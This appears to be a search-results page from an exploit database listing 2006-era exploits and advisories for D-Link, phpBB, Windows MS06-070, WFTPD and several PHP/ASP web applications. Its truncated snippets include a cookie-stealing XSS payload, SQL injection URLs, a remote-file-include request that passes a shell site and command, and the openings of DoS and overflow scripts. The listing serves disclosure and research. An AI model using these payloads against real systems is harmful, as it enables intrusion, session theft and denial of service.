12021 matches found
D-Link DWL-2000AP 2.11 - ARP Flood Remote Denial of Service
D-Link DWL-2000AP 2.11 - ARP Flood Remote Denial of Service / ARP FLOODER v0.1 - [email protected] - 2006-12-04 designed to crash D-LINK DWL-2000AP+ compile with: gcc arpflood.c -o arpflood / define BSDSOURCE 1 define GNUSOURCE include include include include include include include include...
Gizzar <= 03162002 (index.php) Remote File Include Vulnerability
Exploit for unknown platform in category web applications ================================================================ Gizzar $cmd=$; chomp$cmd; $xpl = LWP::UserAgent-new or die; $req = HTTP::Request-newGET=$target.'/index.php?basePath='.$shellsite='.?&'.$cmdv.'='.$cmd or die "\n\n Failed to...
phpBBHTTP应答分割攻击及跨站脚本执行漏洞 Exploit
No description provided by source. Ory Segal （[email protected]）提供了如下测试方法： 跨站脚本攻击： http://SERVER/phpBB2/search.php?searchauthor='scriptalertdocument.cookie/script HTTP应答分割 REQUEST POST /phpBB2/login.php HTTP/1.0 Host: SERVER User-Agent: Mozilla/4.7 en WinNT; I Accept-Encoding: gzip...
Re: Multiple Vendor Unusual MIME Encoding Content Filter Bypass
On Thu, 7 Dec 2006 22:00:31 +0300 3APA3A [email protected] wrote: Dear Tomasz Kojm, TK That's extremely irresponsible to disclose bugs without giving the TK vendors any chance to fix them and prepare new software releases. This is a rare case I can not agree with such statement. Ability to...
Midicart vulerable
lintah|adv|15@2006=========MidiCart===php b/d / / / ooo000-------------------------------- -------------000ooo/ / / Indonesian Cyber-Terrorist Grey Hats / / / / iFX a.k.a inversFX / / | ifx@... | | / / | | | ! ! | :. :/ | | | | | | locate : Indonesia, Jakarta | | | -------------------------------...
PHP Upload Center 2.0 (activate.php) File Include Vulnerabilities
No description provided by source. Coding 4 Fun Name = PHP Upload Center v2.0 ; Class = Remote/Local File Inclusion ; Download = http://skrypty.webpc.pl/pobierz.php?id=58 ; Found by = GregStar gregstaratc4fdotpl http://c4f.pl ;...
Envolution <= 1.1.0 (PNSVlang) Remote Code Execution Exploit
Exploit for unknown platform in category web applications ============================================================ Envolution = 1.1.0 PNSVlang Remote Code Execution Exploit ============================================================ ? print ' ::::::::: :::::::::: ::: ::: ::::::::::: ::: :+:...
S9Y Serendipity 1.0.3 - 'comment.php' Local File Inclusion
DEVIL TEAM IRC: irc.milw0rm.com:6667 devilteam http://www.rahim.webd.pl/ ======== Contact: [email protected] cod3d by Kacper -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Greetings DragonHeart and all DEVIL TEAM Patriots : - Leito & Leon | friend str0ke ; pepi,...
mg.applanix <= 1.3.1 Remote File Include Exploit
No description provided by source. !/usr/bin/perl """"""""""""""""""""""""""""""""""""""""""""""" """ :: :: ::::: :::: """ """ :: :: :: : :: """ """ :::: :: :: ::::: ::::: :::: """ """ :: :: ::: ::: :: :: :: :: :: """ """ :: :: :: : : ::::: :: :: :::: """ """ """...
Woltlab Burning Board Lite 1.0.2 - decode_cookie() SQL Injection
Woltlab Burning Board Lite 1.0.2 - decodecookie SQL Injection 126 $result.=" ."; else $result.=" ".$string$i; if strlendechexord$string$i==2 $exa.=" ".dechexord$string$i; els...
Woltlab Burning Board Lite 1.0.2 - 'decode_cookie()' SQL Injection
126 $result.=" ."; else $result.=" ".$string$i; if strlendechexord$string$i==2 $exa.=" ".dechexord$string$i; else $exa.=" 0".dechexord$string$i; $cont++;if $cont=...
fipsGallery <= 1.5 (index1.asp) Remote SQL Injection Vulnerability
No description provided by source. Title : fipsGallery = v1.5 index1.asp Remote SQL Injection Vulnerability Author : ajann Contact : : $$$ : 29 Euro http://target/path//index1.asp?what=artists&which=SQL Example:...
Pearl Forums 2.4 Multiple Remote File Include Vulnerabilities
| | / | / | | | | | / | / / | | | | '| | |/| |/ / / / / | | '| | | / | | || | | | | | | | | / | | | | || |/|| || ||,// / ||| ,|/ ///////////////////////////////////////////////////////////////////////////////////////////////////////////// //Script:Pearl Forums //Author: Dr Max Virus...
ASPNuke <= 0.80 (register.asp) Remote SQL Injection Vulnerability
No description provided by source. Title : ASPNuke = 0.80 register.asp Remote SQL Injection Vulnerability Author : ajann S.Page : http://www.aspnuke.com D.Page : http://sourceforge.net/project/showfiles.php?groupid=92470...
Microsoft Windows - NetpManageIPCConnect Remote Stack Overflow (MS06-070) (Python)
Microsoft Windows - NetpManageIPCConnect Remote Stack Overflow MS06-070 Python !/usr/bin/python MS06-070 Windows WorkStation NetpManageIPCConnect Vulnerability Exploit Tested on windows 2000 server SP4 Usage: python NetAPI-NetrJoinDomain2.py Requires a domain controller on the network configure...
HTTP Upload Tool (download.php) Information Disclosure Vulnerability
Exploit for unknown platform in category web applications ==================================================================== HTTP Upload Tool download.php Information Disclosure Vulnerability ==================================================================== Target: HTTP Upload Tool For PHP 1...
MS Internet Explorer 6/7 (XML Core Services) Remote Code Exec Exploit 3
No description provided by source. / ----------------------------------------------------------------------- MS Internet Explorer 6/7 XML Core Services Remote Code Execution Exploit Works on Windows XP versions including SP2 and 2K Author: M03 Credit: metasploit, jamikazu, yag kohnafor the...
WFTPD Pro Server 3.23.1.1 - 'APPE' Remote Buffer Overflow (PoC)
!/usr/bin/env python import sys import struct import ftplib print "WFTPD Pro Server 3.23.1.1 Buffer Overflow Only a DOS currently, simple POC" print "Copyright c Joxean Koret" print target = "192.168.1.13" targetPort = "21" try: ftp = ftplib.FTP print "+ Connecting to target " msg =...
CVE-2006-5722
Summary: Segue CMS 1.5.9 and earlier exposes multiple remote file inclusion vulnerabilities. The issue stems from unsanitized input in the themesdir/theme-related include paths (themesettings.inc.php and index.php), enabling an attacker to inject arbitrary PHP code via a URL parameter. Documented...